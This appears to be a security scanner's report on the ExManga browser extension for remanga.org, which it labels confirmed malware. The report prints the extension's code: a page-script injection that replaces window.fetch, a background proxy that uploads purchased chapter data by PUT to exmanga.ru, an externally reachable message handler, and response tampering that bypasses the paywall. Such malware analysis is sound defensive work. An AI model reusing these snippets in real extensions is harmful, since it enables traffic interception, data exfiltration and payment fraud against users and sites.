Security Alert: Confirmed Malware
ExManga
ID: ncoolbhoccaekcmodfondnhfbelhghjc
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- skoniksView Profile
- Help
- Help Center
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Website
- Visit
Расширение дает возможность всем читать платные главы на сайте remanga.org, если их уже купил один из пользователей расширения
Расширение дает возможность всем читать мангу на сайте remanga.org, если ее купил один из пользователей расширения. Основная задача - возможность поделиться любимой мангой с друзьями, с чем данное расширение отлично справляется. Принцип работы расширения: - Расширение работает только на сайте remanga.org ( и алиасах ) - Расширение отправляет данные на удаленный сервер только при открытии глав покупаемой манги - Если вы покупаете главу - она загружается на сервер разработчика - Если у вас глава нет доступа к главе глава качается с сервера разработчика и отображается у вас на странице - Если платная глава не отображается - значит ее никто не купил
Sensitive Domain Access
This extension has access to the following sensitive domains:
- *://raw.githubusercontent.com/*
The extension injects a script into the page context by abusing the `onreset` event attribute on `document.documentElement` to execute arbitrary JavaScript. This technique completely replaces the native `window.fetch` API on the page, routing every single network request made by the remanga.org website through the extension's background service worker. This is a man-in-the-middle hook against the page's own fetch calls, enabling interception of all API responses including authentication tokens and user data.
var preload = `window.fetch = (...request) => new Promise((resolve) => { chrome.runtime.sendMessage( '${chrome.runtime.id}', { request, location }, ({ body, type, init, message }) => { const blob = new Blob([body], { type }); resolve(new Response(blob, init)); }, ); });`;document.documentElement.setAttribute('onreset', preload);document.documentElement.dispatchEvent(new CustomEvent('reset'));document.documentElement.removeAttribute('onreset');The background script acts as a transparent proxy for all fetch requests from the remanga.org page. When a user has purchased a paid chapter (`is_bought === true`), it silently exfiltrates the full chapter API response body — including the user's purchased content and any associated session context — to the third-party server `https://exmanga.ru/chapter` via a PUT request. This constitutes unauthorized data exfiltration of content tied to the user's paid account.
fetch(url, ...params) .then((response) => { const { status, statusText, headers } = response; const init = { status, statusText, headers }; const type = headers.get('content-type').split(';').shift(); if (type === 'application/json') { response.json().then((body) => { const regex = /api\/titles\/chapters\/(\d*)\//; const match = url.match(regex); if (match && body.content.is_paid) { if (body.content.is_bought) { // Upload fetch('https://exmanga.ru/chapter', { method: 'PUT', body: JSON.stringify(body), headers: { 'Content-Type': 'application/json' }, }) .then((response) => response.json()) .then(({ success, data }) => { console.log(`Chapter ${match[1]} - ${data}`); });The background script registers `onMessageExternal` with the same handler as `onMessage`, and the manifest declares `externally_connectable` for remanga.org pages. This means any page matching those origins can trigger arbitrary fetch requests through the extension's background worker, which has elevated host permissions. Combined with the fetch-override in content.js, this creates a bidirectional proxy that any script running on those pages (including injected third-party ads or XSS payloads) could leverage.
chrome.runtime.onMessage.addListener(listener);chrome.runtime.onMessageExternal.addListener(listener);When a paid chapter has not been purchased by the current user, the extension fetches the chapter content from the exmanga.ru server and injects it back into the API response, setting `is_bought = true` and replacing the pages data. This tampers with the remanga.org API response in transit to circumvent payment controls — a form of content fraud that also means the extension is actively serving and distributing paywalled content uploaded by other users.
} else { // Download fetch('https://exmanga.ru/chapter?id=' + match[1]) .then((response) => response.json()) .then(({ success, data }) => { if (success) { console.log(`Chapter ${match[1]} - Loaded`); delete body.content.volume; body.content.is_bought = true; body.content.pages = data; body.msg = ''; init.status = 200; body = JSON.stringify(body); const message = '[ExManga] Глава получена с сервера'; callback({ body, type, init, message }); } });}The extension fetches its own `manifest.json` from a raw GitHub URL at runtime to check for updates, then parses and evaluates the version field from that remote resource. While the current code only reads the version string, the pattern of fetching and parsing live remote JSON through the same proxy mechanism that intercepts all page traffic is a remote-code-loading risk vector — a compromised GitHub repo or MITM on raw.githubusercontent.com could deliver a manipulated response that the extension trusts.
window.onload = () => { // Check updates const url = 'https://raw.githubusercontent.com/skoniks/exmanga-ext/master/manifest.json'; const local = chrome.runtime.getManifest(); chrome.runtime.sendMessage( chrome.runtime.id, { request: [url] }, ({ body }) => { const remote = JSON.parse(body); if (parseFloat(remote.version) > parseFloat(local.version)) { if (confirm('Доступно обновление ExManga! Перейти на страницу?')) { window.open('https://github.com/skoniks/exmanga-ext'); } } }, );};By severity
Versions scanned
Showing 1 of 11 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 3.1 | 5 |
Files with findings
2 distinct paths — top paths by unique finding count:
- scripts/background.js3
- scripts/content.js2
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.